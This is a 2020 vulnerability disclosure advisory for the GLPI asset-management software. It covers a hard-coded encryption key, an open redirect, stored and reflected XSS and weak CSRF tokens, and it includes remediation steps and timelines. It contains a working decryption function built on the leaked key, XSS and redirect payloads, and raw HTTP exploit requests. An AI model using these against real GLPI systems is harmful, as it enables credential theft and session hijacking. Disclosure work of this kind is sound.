Multiple vulnerabilities in GLPI

Published on Tue 12 May 2020 by myst404 (@myst404_)

According to Wikipedia:

GLPI (French acronym: Gestionnaire Libre de Parc Informatique, or "Open Source IT Equipment Manager" in English) is an open source IT Asset Management, issue tracking system and service desk system written in PHP,

Its source code can be found on GitHub.

GLPI CSRF and RCE (CVE-2020-11060)

A dedicated article is available for this vulnerability: Playing with GZIP: RCE in GLPI.


GLPI static encryption key (CVE-2020-5248)

Product: All GLPI versions from 0.80 (released in 2011) to 9.4.5 (included, released in 2019).

Type: Use of hard-coded cryptographic key.

Summary: A static key is used by GLPI to encrypt sensitive data. For example, the LDAP password used for external authentication is stored encrypted in the database with the static key. A fix is provided in the version 9.4.6.

Technical details

Sensitive data like passwords need to be stored and reused by GLPI. It is the case for the following passwords:

  • LDAP
  • SMTP
  • IMAP
  • Proxy

In fact, any plugin can use the encryption function to store sensitive data. Example of plugins:

All passwords are stored via the encrypt function defined in inc/toolbox.class.php:

<?php
static function encrypt($string, $key) {

  $result = '';
  for ($i=0; $i<strlen($string); $i++) {
     $char    = substr($string, $i, 1);
     $keychar = substr($key, ($i % strlen($key))-1, 1);
     $char    = chr(ord($char)+ord($keychar));
     $result .= $char;
  }
  return base64_encode($result);
}

Actually, the $key variable is always set to the same constant: GLPIKEY.

Example when the proxy password is encrypted, file inc/config.class.php:

<?php
$input["proxy_passwd"] = Toolbox::encrypt(stripslashes($input["proxy_passwd"]),
                                          GLPIKEY);

The GLPIKEY is defined in the file inc/define.php:

<?php
define("GLPIKEY", "GLPI£i'snarss'ç");

Because the encryption key is the same on all GLPI installs, an attacker can easily decrypt any password encrypted via this function.

This encryption mechanism was added to the GLPI version 0.80 released in May 2011 by this commit. Before this version, there was no encryption mechanism.

Proof of concept

To exploit the vulnerability on a GLPI 9.4.5 test instance, first set up a proxy password as an administrator:

Set up proxy password

Multiple scenarios can give an attacker the access to encrypted passwords:

<?php
$time_file = date("Y-m-d-H-i");
//For XML Dumps
$filename  = GLPI_DUMP_DIR . "glpi-backup-" . GLPI_VERSION . "-$time_file.xml";
//For SQL Dumps
$filename  = GLPI_DUMP_DIR . "glpi-backup-".GLPI_VERSION."-$time_file.sql.gz";

Example of $filename (/var/www/glpi is the webroot): /var/www/glpi/files/_dumps/glpi-backup-9.4.5-2020-03-02-14-15.sql.gz

  • Administrator access to GLPI. For example, a backup of the database can be made in the Maintenance menu (be careful of the size of the backup in a production environment). It is probably stealthier in a pentest to decrypt the passwords offline than changing temporarily the LDAP configuration to receive the passwords via Responder. Some encrypted passwords are also logged in the Setup → General → Historical menu:

Historical log

More details about GLPI backups in the article: Playing with GZIP: RCE in GLPI.

If a database backup were found on an unprotected share folder, the pentester/attacker can look for the following fields:

  • proxy_passwd
  • rootdn_passwd
  • smtp_passwd
  • passwd
  • ocs_db_passwd
  • pwd

Illustration with proxy_passwd:

INSERT INTO `glpi_configs` VALUES ('104','core','proxy_passwd','+XqtvLU79pyK6ODGwtSXSzrXubA=');
INSERT INTO `glpi_logs` VALUES ('24','Config','1','','0','glpi (2)','2020-03-02 13:37:39','1','proxy_passwd ','+XqtvLU79pyK6ODGwtSXSzrXubA=');

The following PHP function decrypts the password:

<?php
function decrypt($string) {
    $result = '';
    $key="GLPI£i'snarss'ç";
    $string = base64_decode($string);
    for ($i=0; $i<strlen($string); $i++) {
        $char    = substr($string, $i, 1);
        $keychar = substr($key, ($i % strlen($key))-1, 1);
        $char    = chr(ord($char)-ord($keychar));
        $result .= $char;
    }
    echo $result;
}
php > decrypt("+XqtvLU79pyK6ODGwtSXSzrXubA=");
R3allyS3curePa$$w0rd

Remediation

A fix is provided in GLPI 9.4.6. Because this is a minor release, the key change is not mandatory.
Key migration will be forced in the next major release: 9.5.

It is highly recommended to change the key, e.g. with the command php bin/console glpi:security:changekey. A random 50-character key will be created.

If the strings to encrypt are longer than 50 characters, it is recommended to manually set a key at least as long as the longest string to encrypt.

Related Security Advisory.

Timeline

2020-02-03: Vulnerability reported according to the Security Policy.

2020-02-05: Vendor acknowledges reception of report.

2020-02-27: CVE-2020-5248 issued.

2020-05-05: GLPI 9.4.6 is released.

2020-05-12: Publication of this advisory.


Open Redirect - CVE-2020-11034

Product: All GLPI versions from 0.90.1 (released in 2015) to 9.4.5 (included, released in 2019).

Type: Open Redirect.

Summary: GLPI is vulnerable to an Open Redirect vulnerability (CVE-2020-11034).

Technical details

The GET parameter redirect is used to redirect a user:

if (isset($_GET["redirect"])) {
   Toolbox::manageRedirect($_GET["redirect"]);

Let's have a look at the function manageRedirect in /inc/toolbox.class.php:

<?php
static function manageRedirect($where) {
   global $CFG_GLPI;

   if (!empty($where)) {

      if (Session::getCurrentInterface()) {
         $decoded_where = rawurldecode($where);
         // redirect to URL : URL must be rawurlencoded
         if (preg_match('@(([^:/].+:)?//[^/]+)(/.+)?@', $decoded_where, $matches)) {
            if ($matches[1] !== $CFG_GLPI['url_base']) {
               Session::addMessageAfterRedirect('Redirection failed');
               if (Session::getCurrentInterface() === "helpdesk") {
                  Html::redirect($CFG_GLPI["root_doc"]."/front/helpdesk.public.php");
               } else {
                  Html::redirect($CFG_GLPI["root_doc"]."/front/central.php");
               }
            } else {
               Html::redirect($decoded_where);
            }
         }
         // Redirect based on GLPI_ROOT : URL must be rawurlencoded
         if ($decoded_where[0] == '/') {
            // echo $decoded_where;exit();
            Html::redirect($CFG_GLPI["root_doc"].$decoded_where);
         }

Some protections against open redirections, as payloads like the following ones match the first highlighted if and are not valid to perform an Open Redirect:

However, the following syntax works:

http://host/index.php?redirect=/\/example.com

It matches the second if. The $CFG_GLPI["root_doc"] variable is empty when GLPI is not installed in a subfolder.

The location is rewritten to /\\\\/example.com which actually leads to example.com (tested on Chrome and Firefox).

Remediation

A fix is provided in GLPI 9.4.6: the $CFG_GLPI["root_doc"] variable has been changed to $CFG_GLPI["url_base"] which contains the URL of the server.

Related Security Advisory.

Timeline

2020-03-06: Vulnerability reported according to the Security Policy.

2020-04-28: Fixed pushed in the branch 9.4/bugfixes.

2020-04-30: CVE-2020-11034 issued.

2020-05-05: GLPI 9.4.6 is released.

2020-05-12: Publication of this advisory.


Multiple XSS - CVE-2020-11036

Product: GLPI versions < 9.4.6.

Type: Stored and Self Cross-Site Scripting (XSS).

Summary: GLPI is vulnerable to multiple XSS vulnerabilities (CVE-2020-11036).

Stored XSS in the Knowledge base

The anti-XSS protection is removed before displaying comments of items in the knowledge base.
Extract of /inc/knowbaseitem_comment.class.php:

$html .= Toolbox::unclean_cross_side_scripting_deep($comment['comment']);

Function unclean_cross_side_scripting_deep:

<?php
static function unclean_cross_side_scripting_deep($value) {

   if ((array) $value === $value) {
      return array_map([__CLASS__, 'unclean_cross_side_scripting_deep'], $value);
   }

   if (!is_string($value)) {
      return $value;
   }

   $in  = ['<', '>'];
   $out = ['&lt;', '&gt;'];
   return str_replace($out, $in, $value);
}

Any basic XSS payload works:

XSS PoC

Stored XSS in tickets

A user account is needed, low privileges are sufficient. Steps to reproduce:

  1. Change your user's surname to " onmouseover="alert(document.cookie)" style="display: block; position: fixed; top: 0; left: 0; z-index: 99999; width: 9999px; height: 9999px; and delete the first name.
  2. Create a ticket.
  3. As an administrator (or any privileged user) open the created ticket.
  4. Wherever you put your mouse on the page, the XSS fires.

XSS PoC

HTML code extract:

<th width='13%'>Last update</th><td width='45%' colspan='3'>2020-05-05 16:50 by <a title="" onmouseover="alert(document.cookie)" style="display: block; position: fixed; top: 0; left: 0; z-index: 99999; width: 9999px; height: 9999px;" href='/front/user.form.php?id=2'>" onmouseover="alert(document.cookie)" style="display: block; position: fixed; top: 0; left: 0; z-index: 99999; width: 9999px; height: 9999px;</a></td>

The XSS payload is inserted directly in a tag. The anti-XSS clean_cross_side_scripting_deep function only prevents the opening/closing of tags:

<?php
static function clean_cross_side_scripting_deep($value) {

   if ((array) $value === $value) {
      return array_map([__CLASS__, 'clean_cross_side_scripting_deep'], $value);
   }

   if (!is_string($value)) {
      return $value;
   }

   $in  = ['<', '>'];
   $out = ['&lt;', '&gt;'];
   return str_replace($in, $out, $value);
}

Self XSS via the User-Agent for administrators

In the Setup -> General -> System menu, the User-Agent is displayed without filtering:

<?php
echo "\t" . $_SERVER["HTTP_USER_AGENT"] . "\n";

Not really useful if not chained with other vulnerabilities.

Remediation

Fixes are provided in GLPI 9.4.6.
The session cookie should also have the HTTPOnly flag, it is not the case by default.

Related Security Advisory.

Timeline

2020-03-06: Vulnerability reported according to the Security Policy.

2020-04-28: Fixed pushed for the stored XSS in the Knowledge base in the branch 9.4/bugfixes.

2020-04-28: Fixed pushed for the stored XSS in tickets in the branch 9.4/bugfixes.

2020-04-28: Fixed pushed for the self XSS via the User-Agent for administrators in the branch 9.4/bugfixes.

2020-04-30: CVE-2020-11036 issued.

2020-05-05: GLPI 9.4.6 is released.

2020-05-12: Publication of this advisory.


Weak CSRF tokens - CVE-2020-11035

Product: All GLPI versions from 0.83.3 (released in 2015) to 9.4.5 (included, released in 2019).

Type: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).

Summary: GLPI generates weak CSRF tokens (CVE-2020-11035).

Technical details

The anti-CSRF token is generated in the function getNewCSRFToken:

<?php
static public function getNewCSRFToken() {
   global $CURRENTCSRFTOKEN;

   if (empty($CURRENTCSRFTOKEN)) {
      do {
         $CURRENTCSRFTOKEN = md5(uniqid(rand(), true));
      } while ($CURRENTCSRFTOKEN == '');
   }

uniqid and rand do not generate cryptographically secure values, and should not be used for cryptographic purposes.
MD5 is of course not recommended.

Remediation

A fix is provided in GLPI 9.4.6 by using the random_bytes function which is suitable for cryptographic use.

Related Security Advisory.

Timeline

2020-04-27: Vulnerability reported according to the Security Policy.

2020-04-28: Fixed pushed in the branch 9.4/bugfixes.

2020-04-30: CVE-2020-11035 issued.

2020-05-05: GLPI 9.4.6 is released.

2020-05-12: Publication of this advisory.


Reflected XSS in Dropdown endpoints - CVE-2020-11062

Product: All GLPI versions from 0.68 (released in 2006) to 9.4.5 (included, released in 2019).

Type: Reflected Cross-Site Scripting (XSS).

Summary: GLPI is vulnerable to a reflected XSS vulnerability (CVE-2020-11062).

Technical details

Dropdown menus are present in multiple GLPI pages, for example when a ticket is created:

XSS PoC

Depending on the item, an AJAX call is performed to one of these endpoints:

  • ajax/getDropdownValue.php
  • ajax/getDropdownConnect.php
  • ajax/getDropdownFindNum.php
  • ajax/getDropdownNetpoint.php
  • ajax/getDropdownNumber.php
  • ajax/getDropdownUsers.php
  • ajax/autocompletion.php

The server returns JSON content but sets the Content-Type: text/html header:

header("Content-Type: text/html; charset=UTF-8");

Example with the location name <img src=x onerror=javascript:alert(1)>:

POST /ajax/getDropdownValue.php HTTP/1.1
Host: 192.168.1.68
Content-Length: 119
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: glpi_40d1b2d83998fabacb726e5bc3d22129_rememberme=%5B%222%22%2C%22C6WEoDs1LkuPBEBEJg1GOaWMWkhMfwpmo8B5i0rO%22%5D; glpi_40d1b2d83998fabacb726e5bc3d22129=skr777610dmtgnbkv31men1t85
Connection: close

itemtype=Location&display_emptychoice=1&emptylabel=-----&entity_restrict=0&permit_select_parent=0&page_limit=100&page=1
HTTP/1.1 200 OK
Date: Thu, 07 May 2020 13:21:15 GMT
Server: Apache/2.4.10 (Debian)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 265
Connection: close
Content-Type: text/html; charset=UTF-8

{"results":[{"id":0,"text":"-----"},{"text":"Root entity","children":[{"id":"1","text":"<img src=x onerror=javascript:alert(1)>","level":1,"title":"<img src=x onerror=javascript:alert(1)> - ","selection_text":"<img src=x onerror=javascript:alert(1)>"}]}],"count":1}

This vulnerability requires the right to add an item (computer, monitor, location, etc.) with a XSS payload in the name.

However, without any account, the parameter emptylabel is also vulnerable:

POST /ajax/getDropdownValue.php HTTP/1.1
Host: 192.168.1.68
Content-Length: 119
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: glpi_40d1b2d83998fabacb726e5bc3d22129_rememberme=%5B%222%22%2C%22C6WEoDs1LkuPBEBEJg1GOaWMWkhMfwpmo8B5i0rO%22%5D; glpi_40d1b2d83998fabacb726e5bc3d22129=skr777610dmtgnbkv31men1t85
Connection: close

itemtype=Monitor&emptylabel=<img+src%3dx+onerror%3djavascript%3aalert(1)>
HTTP/1.1 200 OK
Date: Thu, 07 May 2020 13:28:08 GMT
Server: Apache/2.4.10 (Debian)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 81
Connection: close
Content-Type: text/html; charset=UTF-8

{"results":[{"id":0,"text":"<img src=x onerror=javascript:alert(1)>"}],"count":0}

Remediation

A fix is provided in GLPI 9.4.6.
These endpoints now use the Content-Type: application/json header. This header prevents the XSS except for some old browsers/OS.

Related Security Advisory.

Timeline

2020-03-02: Vulnerability reported according to the Security Policy.

2020-03-04: Fixed pushed in the branch 9.4/bugfixes.

2020-05-05: GLPI 9.4.6 is released.

2020-05-08: CVE-2020-11062 issued.

2020-05-12: Publication of this advisory.